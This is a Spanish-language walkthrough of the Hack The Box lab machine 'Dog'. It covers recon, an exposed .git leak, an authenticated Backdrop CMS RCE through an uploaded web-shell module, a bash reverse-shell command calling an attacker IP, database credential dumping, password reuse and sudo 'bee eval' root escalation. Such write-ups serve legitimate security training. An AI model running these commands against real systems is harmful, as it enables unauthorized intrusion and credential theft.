# Dog

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F3DfV0Rsl6Bvg24bAmcR5%2FDog.png?alt=media&#x26;token=cbc0a180-0845-45c7-936f-aa15df2408cf" alt="" width="563"><figcaption></figcaption></figure>

***

## Reconnaissance

Realizaremos un reconocimiento con **nmap** para ver los puertos que están expuestos en la máquina **`Dog`**. Este resultado lo almacenaremos en un archivo llamado `allPorts`.

```bash
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.58 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:13 CET
Initiating SYN Stealth Scan at 18:13
Scanning 10.10.11.58 [65535 ports]
Discovered open port 22/tcp on 10.10.11.58
Discovered open port 80/tcp on 10.10.11.58
Completed SYN Stealth Scan at 18:13, 18.13s elapsed (65535 total ports)
Nmap scan report for 10.10.11.58
Host is up, received user-set (0.062s latency).
Scanned at 2025-03-21 18:13:17 CET for 18s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.25 seconds
           Raw packets sent: 65776 (2.894MB) | Rcvd: 65785 (2.632MB)
```

A través de la herramienta de [`extractPorts`](https://pastebin.com/X6b56TQ8), la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de `Nmap`. Esta herramienta nos copiará en la clipboard los puertos encontrados.

```bash
❯ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.11.58
	[*] Open ports: 22,80

[*] Ports copied to clipboard
```

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de `Apache` con un directorio `/.git/` y el servicio de `SSH`.

```bash
❯ nmap -sCV -p22,80 10.10.11.58 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:14 CET
Nmap scan report for 10.10.11.58
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   91.17 ms 10.10.16.1
2   45.90 ms 10.10.11.58

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
```

Transformaremos el archivo generado `targetedXML` para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

```bash
❯ xsltproc targetedXML > index.html

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Accederemos a[ http://localhost](http://localhost) y verificaremos el resultado en un formato más cómodo para su análisis.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F5AZuv05ihxUkjQmVLXyt%2F5813_vmware_2WTTCbYlUK.png?alt=media&#x26;token=24e42f56-729e-49b4-b21e-8b3d5ff8fa69" alt=""><figcaption></figcaption></figure>

## Web Enumeration

Accederemos a http://10.10.11.58 y comprobaremos las siguientes páginas web. Se trata de una página web relacionada con un blog sobre la obesidad en los perros. Nos ofrece un portal de inicio de sesión en la página web. Por otro lado, también confirmamos que está montado a través de `Backdrop CMS`.

Por otro lado, en la página de `About`, nos encontramos con un correo electrónico con un nombre de dominio llamado `dog.htb`.

{% tabs %}
{% tab title="HOME" %}
<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FuYJe36GSxkMVMh5RXNA5%2F5814_vmware_vTHUD9lNXV.png?alt=media&#x26;token=b64c0cf9-f360-4a8f-b442-d3b0e3468090" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="LOGIN" %}
<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fndy8gDNtrxDE0IRwxY03%2Fimagen.png?alt=media&#x26;token=ea8d631a-6fc9-48ac-b07a-d50120576147" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="ABOUT" %}
<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FAGPlAJhkBlAZC3DdsijQ%2Fimagen.png?alt=media&#x26;token=3c886496-2f38-4258-9a60-923c43c9ffe0" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

## Initial Access

### Downloading Git Folder disclosure

En el escaneo a través de `Nma`, nos encontramos con un directorio `/.git` expuesto en la página web. A través de la herramienta de `GitHack` nos descargaremos el repositorio en nuestra máquina local. Verificamos que tiene un total de 458 directorios y 2873 archivos que podremos analizar.

```bash
❯ python3 /opt/GitHack/GitHack.py http://10.10.11.58/.git/ 2>/dev/null 
[+] Download and parse index file ...

...[SNIP]...

❯ cd 10.10.11.58

❯ tree -a | tail -n 1
458 directories, 2873 files
```

### Information Leakage

Dentro de los archivos que nos hemos descargado del directorio `/.git/`, nos encontramos con un archivo llamado `settings.php` en el cual aparecen expuestas las credenciales en texto plano del usuario de la base de datos que utiliza la aplicación web.

<pre class="language-php" data-title="settings.php"><code class="lang-php">&#x3C;?php
/**
 * @file
<strong> * Main Backdrop CMS configuration file.
</strong> */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

...[SNIP]...
</code></pre>

Por otro lado, tratamos de listar nombres de usuarios que se pudieran encontrar en el directorio. Mediante `grep -r` buscamos diferentes maneras, a través de `username, user, password, passwd`, etc pero no encontramos nada. Realizando una búsqueda recursiva a través del nombre de dominio, nos encontramos con un usuario llamado `tiffany@dog.htb`.

```bash
❯ grep -r '@dog.htb' * 2>/dev/null
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "tiffany@dog.htb"
```

### Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)

Dentro del contenido del directorio `/.git/` que nos hemos encontrado, podemos comprobar un archivo en el cual parece proporcionarnos la versión exacta que utiliza el `Backdrop CMS`.

{% code title="core/modules/user/user.info" %}
```bash
type = module
name = User
description = Manages the user registration and login system.
package = System
tags[] = Account Management
version = BACKDROP_VERSION
backdrop = 1.x
required = TRUE

configure = admin/config/people

stylesheets[all][] = css/user.css

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
```
{% endcode %}

Realizando una búsqueda a través de la herramienta de `searchsploit`, conseguimos encontrar una vulnerabilidad para dicha versión. Además esta vulnerabilidad consiste en obtener un `RCE`, el único requisito es estar autenticado en el CMS.

En nuestro caso, tenemos un posible usuario válido (`tiffany`) y unas credenciales de la base de datos que muy probablemente se reutilicen o no.

```bash
❯ searchsploit BackDrop CMS 1.27.1
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                      |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)                                                                                                                                  | php/webapps/52021.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
```

Nos copiaremos el exploit que nos proporciona `searchsploit` a nuestro directorio actual de trabajo.

```bash
❯ searchsploit -m php/webapps/52021.py
  Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/52021
     Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
    Codes: N/A
 Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/gzzcoo/Desktop/HackTheBox/Linux/Dog/content/52021.py


❯ ls -l 52021.py
.rwxr-xr-x gzzcoo gzzcoo 2.5 KB Fri Mar 21 18:31:08 2025  52021.py
```

Al ejecutar el exploit, nos proporciona un archivo `shell.zip` y las instrucciones para realizar la explotación. Básicamente deberemos subir este nuevo módulo en el CMS y se nos proporcionará una especie de web shell.

```bash
❯ python3 52021.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php

❯ ls -l shell.zip
.rw-rw-r-- gzzcoo gzzcoo 1.1 KB Fri Mar 21 18:32:00 2025  shell.zip
```

Accederemos a [http://10.10.11.58/?q=user/login](http://10.10.11.58/?q=user/login) y trateremos de autenticarnos con el usuario y la contraseña encontrada para verificar si podemos acceder al CMS.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FKBg7MFuA890oPZUIMRbW%2F5818_vmware_vD3kwmBYNL.png?alt=media&#x26;token=ceb0a433-d5c1-4b4f-82b8-11225524822a" alt="" width="513"><figcaption></figcaption></figure>

Verificamos que las credenciales se reutilizaban y el usuario `tiffany` era válido para acceder. El siguiente paso será acceder a [http://10.10.11.58/?q=admin/modules/install](http://10.10.11.58/?q=admin/modules/install) y darle a la opción de `Manual Installation` para subir el módulo malicioso.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FrxJWHwN8sskcVIYZaV0V%2Fimagen.png?alt=media&#x26;token=97fd49aa-3cc5-416b-84be-b81e4c6603bb" alt=""><figcaption></figcaption></figure>

En el siguiente apartado, deberemos de subir el `shell.zip` en el apartado de `Upload a module...`.

{% hint style="danger" %}
IMPORTANTE: no tenemos que rellenar ninguno de los campos anteriores, solamente subir el comprimido.
{% endhint %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FVeximBXavrTS62Ndmhvc%2Fimagen.png?alt=media&#x26;token=39d9d371-422f-4975-b785-493a8bebed68" alt="" width="563"><figcaption></figcaption></figure>

Al tratar de subir el archivo `shell.zip`, la aplicación web nos indica que solamente están permitidos los archivos con extensión `tar tgz gz bz2`.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FSCCY0mhf2CpIZjFup38x%2Fimagen.png?alt=media&#x26;token=efbb0096-ec3b-44f8-9243-ec33c0bae129" alt=""><figcaption></figcaption></figure>

Descomprimiremos nuestro archivo malicioso `shell.zip` y lo volveremos a comprimir en el formato adecuado.

```bash
❯ unzip shell.zip
Archive:  shell.zip
 extracting: shell/shell.info        
 extracting: shell/shell.php
          
❯ tar -czf shell.tar.gz shell/

❯ ls -l shell.tar.gz
.rw-rw-r-- gzzcoo gzzcoo 678 B Fri Mar 21 18:37:35 2025  shell.tar.gz
```

Al repetir el proceso subiendo este nuevo archivo `shell.tar.gz`, se nos indica que el módulo se ha instalado correctamente en el CMS.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F7pYme05AljFmoK0RT1o1%2F5823_vmware_yXAdDNOohT.png?alt=media&#x26;token=b8dce2b7-fd1b-4ee3-8c89-4d569e5493bd" alt="" width="563"><figcaption></figcaption></figure>

Acceeremos a la ruta que se nos indicaba al generar el módulo malicioso ([http://10.10.11.58/modules/shell/shell.php](http://10.10.11.58/modules/shell/shell.php)) y comprobaremos que disponemos de una web shell. Trataremos de ejecutar el comando `whoami` y nos devuelve el resultado del comando realizado.

Con lo cual, tenemos una vía potencial para ejecutar comando arbitrario en el equipo vulnerable.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FVQOXWehPGVWsLy5cPCmy%2Fimagen.png?alt=media&#x26;token=22236350-8539-4a8c-bbb4-ab4aa60cc5a1" alt=""><figcaption></figcaption></figure>

El siguiente paso será lograr obtener una Reverse Shell y ganar acceso al sistema. Para ello, nos  pondremos en escucha con `nc` para recibir la conexión.

```bash
❯ nc -nlvp 443
listening on [any] 443 ...
```

Codificaremos el comando de la Reverse Shell que necesitaremos ejecutar en la `web shell`. Una vez aplicado el `URL Encode`, a través de `cURL` realizaremos la solicitud para proporcionarnos la Reverse Shell a través de la `web shell` subida.

```bash
❯ echo -n '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' | jq -sRr @uri
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22

❯ curl -s 'http://10.10.11.58/modules/shell/shell.php?cmd=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22'
```

Verificamos que hemos ganado acceso al equipo vulnerable y nos encontramos actualmente con el usuario `www-data`.

```bash
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.58] 55796
bash: cannot set terminal process group (916): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
www-data
```

## Initial Access

### Database Enumeration

En este caso, disponemos de las credenciales del usuario de la base de datos, estas credenciales las encontramos en el archivo `settings.php` con las cuales realizaremos una enumeración de la base de datos.

Nos encontramos con una tabla interesantes llamada `users`.

```bash
bash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "show tables;"
<ackDropJ2024DS2024' -D "backdrop" -e "show tables;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----------------------------+
| Tables_in_backdrop          |
+-----------------------------+
| batch                       |
...[SNIP]...
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| tempstore                   |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| watchdog                    |
+-----------------------------+
```

Al revisar la tabla `users`, localizamos diferentes usuarios con contraseñas hasheadas. Intentamos crackear estas credenciales pero no logramos obtener resultado positivo.

```bash
bash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "SELECT * FROM users;"                                               
<2024DS2024' -D "backdrop" -e "SELECT * FROM users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| uid | name              | pass                                                    | mail                       | signature | signature_format | created    | changed    | access     | login      | status | timezone | language | picture | init                       | data       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
|   0 |                   |                                                         |                            |           | NULL             |          0 |          0 |          0 |          0 |      0 | NULL     |          |       0 |                            | NULL       |
|   1 | jPAdminB          | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb           |           | NULL             | 1720548614 | 1720584122 | 1720714603 | 1720584166 |      1 | UTC      |          |       0 | jPAdminB@dog.htb           | 0x623A303B |
|   2 | jobert            | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb             |           | NULL             | 1720584462 | 1720584462 | 1720632982 | 1720632780 |      1 | UTC      |          |       0 | jobert@dog.htb             | NULL       |
|   3 | dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb |           | NULL             | 1720632880 | 1720632880 | 1723752097 | 1723751569 |      1 | UTC      |          |       0 | dogBackDroopSystem@dog.htb | NULL       |
|   5 | john              | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb               |           | NULL             | 1720632910 | 1720632910 |          0 |          0 |      1 | UTC      |          |       0 | john@dog.htb               | NULL       |
|   6 | morris            | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb             |           | NULL             | 1720632931 | 1720632931 |          0 |          0 |      1 | UTC      |          |       0 | morris@dog.htb             | NULL       |
|   7 | axel              | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb               |           | NULL             | 1720632952 | 1720632952 |          0 |          0 |      1 | UTC      |          |       0 | axel@dog.htb               | NULL       |
|   8 | rosa              | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb               |           | NULL             | 1720632982 | 1720632982 |          0 |          0 |      1 | UTC      |          |       0 | rosa@dog.htb               | NULL       |
|  10 | tiffany           | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb            |           | NULL             | 1723752136 | 1723752136 | 1742578785 | 1742578596 |      1 | UTC      |          |       0 | tiffany@dog.htb            | NULL       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
```

### Password Reuse

Revisando los usuarios del equipo que disponen de `bash` y de un directorio personal en `/home` nos encontramos con dos usuarios.

```bash
bash-5.0$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
bash-5.0$ ls -l /home
ls -l /home
total 8
drwxr-xr-x 4 jobert     jobert     4096 Feb  7 15:59 jobert
drwxr-xr-x 3 johncusack johncusack 4096 Mar 21 14:15 johncusack
```

Probamos de verificar si el usuario `johncusack` reutilizaba las credenciales encontradas en el archivo `settings.php`. Finalmente logramos conectarnos y verificar la flag **user.txt**.

```bash
❯ sshpass -p 'BackDropJ2024DS2024' ssh johncusack@10.10.11.58
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 21 Mar 2025 05:49:38 PM UTC

  System load:           0.0
  Usage of /:            49.3% of 6.32GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             238
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.58
  IPv6 address for eth0: dead:beef::250:56ff:fe94:1884


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Mar 21 17:49:39 2025 from 10.10.16.2
johncusack@dog$ cat user.txt 
2721e***************************
```

## Privilege Escalation

### Abusing privileges sudoers (bee)

Revisando si el usuario `johncusack` dispone de algún permiso de `sudoers`, nos encontramos que puede ejecutar el binario`/usr/local/bin/bee` como el usuario `sudo`.

{% hint style="info" %}
Bee es una utilidad de línea de comandos para el CMS de Background. Incluye comandos que permiten a los desarrolladores interactuar con los sitios de Background, realizando acciones como:

* Ejecutar cron
* Borrar cachés
* Descargar e instalar Background
* Descargar, habilitar y deshabilitar proyectos
* Ver información sobre un sitio o proyectos disponibles
{% endhint %}

```bash
johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
```

Revisando el funcionamiento de la herramienta, nos encontramos con algunos parámetros bastente interesantes.

Según nos indica la herramienta, a través de la función `eval` podríamos ejecutar código `PHP` o mediante `php-script` ejecutar un script en `PHP`.

```bash
johncusack@dog:~$ sudo /usr/local/bin/bee -h
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]

Global Options:
 --root
 Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.

 --site
 Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.

 --base-url
 Specify the base URL of the Backdrop site, such as https://example.com. May be useful with commands that output URLs to pages on the site.

 --yes, -y
 Answer 'yes' to questions without prompting.

 --debug, -d
 Enables 'debug' mode, in which 'debug' and 'log' type messages will be displayed (in addition to all other messages).


Commands:
 
...[SNIP]...
 
 ADVANCED
  db-query
   dbq
   Execute a query using db_query().

  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

  php-script
   scr
   Execute an arbitrary PHP file after bootstrapping Backdrop.

  sql
   sqlc, sql-cli, db-cli
   Open an SQL command-line interface using Backdrop's database credentials.
```

Al intentar ejecutar la siguiente instrucción para ejecutar un `whoami`, se nos indicaba que `eval is not ready`. Esto es debido que no nos encontramos en el directorio donde está instalado y configurado el `Backdrop CMS`.

```bash
johncusack@dog:~$ sudo /usr/local/bin/bee eval "system('whoami');"

 ✘  The required bootstrap level for 'eval' is not ready. 
```

Accederemos al directorio donde está configurado el `Backdrop` y al volver a ejecutar el comando, se nos indica que somos `root`. Esto debido que estamos ejecutando el binario a través de `sudo` debido que disponemos de permisos de `sudoers` sobre dicho binario.

```bash
johncusack@dog:~$ cd /var/www/html/
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('whoami');"
root
```

Por lo tanto. nos otorgaremos una `/bin/bash` y comprobamos que tenemos una shell como usuario `root` y podemos leer la flag **root.txt**.

```bash
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('/bin/bash');"
root@dog:/var/www/html# whoami
root
root@dog:/var/www/html# cat /root/root.txt 
f9491b**************************
```
